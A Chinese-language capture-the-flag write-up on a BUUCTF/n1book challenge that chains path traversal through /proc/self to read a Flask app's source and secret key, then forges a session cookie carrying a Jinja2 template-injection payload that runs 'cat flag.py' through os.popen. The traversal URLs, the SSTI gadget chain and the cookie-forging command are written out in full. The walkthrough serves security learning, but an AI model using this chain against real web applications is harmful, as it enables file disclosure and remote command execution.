本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
关于/proc/目录
Linux系统上的/proc
目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc/[pid]
,当查看当前进程的时候可以用/proc/self代替cmdline
— 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息cwd
— 指向当前进程运行目录的一个符号链接environ
— 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
输入一个1,然后会有提示有一个article
,点进去就是该文件,这不就是入手点了吗
http://5553aad1-9c8c-4337-89f9-eb68413cc508.node4.buuoj.cn:81/article?name=article
有一个name
参数,利用这个name参数获取当前执行系统命令
name=../../../../../proc/self/cmdline
得到python server.py,然后查看server.py
的源代码
name=../../../../../proc/self/cwd/server.py
import os from flask
import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session app = Flask(__name__) execfile(\'flag.py\') execfile(\'key.py\') FLAG = flag app.secret_key = key @app.route(\"/n1page\", methods=[\"GET\", \"POST\"]) def n1page(): if request.method != \"POST\": return redirect(url_for(\"index\")) n1code = request.form.get(\"n1code\") or None if n1code is not None: n1code = n1code.replace(\".\", \"\").replace(\"_\", \"\").replace(\"{\",\"\").replace(\"}\",\"\") if \"n1code\" not in session or session[\'n1code\'] is None: session[\'n1code\'] = n1code template = None if session[\'n1code\'] is not None: template = \'\'\'<h1>N1 Page</h1> <div class=\"row> <div class=\"col-md-6 col-md-offset-3 center\"> Hello : %s, why you don\'t look at our <a href=\'/article?name=article\'>article</a>? </div> </div> \'\'\' % session[\'n1code\'] session[\'n1code\'] = None return render_template_string(template) @app.route(\"/\", methods=[\"GET\"]) def index(): return render_template(\"main.html\") @app.route(\'/article\', methods=[\'GET\']) def article(): error = 0 if \'name\' in request.args: page = request.args.get(\'name\') else: page = \'article\' if page.find(\'flag\')>=0: page = \'notallowed.txt\' try: template = open(\'/home/nu11111111l/articles/{}\'.format(page)).read() except Exception as e: template = e return render_template(\'article.html\', template=template) if __name__ == \"__main__\": app.run(host=\'0.0.0.0\', debug=False)
可以看到有个flag.py和key.py
在flag.py
中应该是存在flag,但是不能查看
{\'n1code\': \'{{\\\'\\\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\\\'os\\\'].popen(\\\'cat flag.py\\\').read()}}\'}
打开key.py
文件
#!/usr/bin/python key = \'Drmhze6EPcv0fN_81Bj-nA\'
伪造:
./flask_session_cookie_manager3.py encode -s \"Drmhze6EPcv0fN_81Bj-nA\" -t \"{\'n1code\': \'{{\\\'\\\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\\\'os\\\'].popen(\\\'cat flag.py\\\').read()}}\'}\"
得到:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E
最后flag为n1book{afr_3_solved}
THE END
暂无评论内容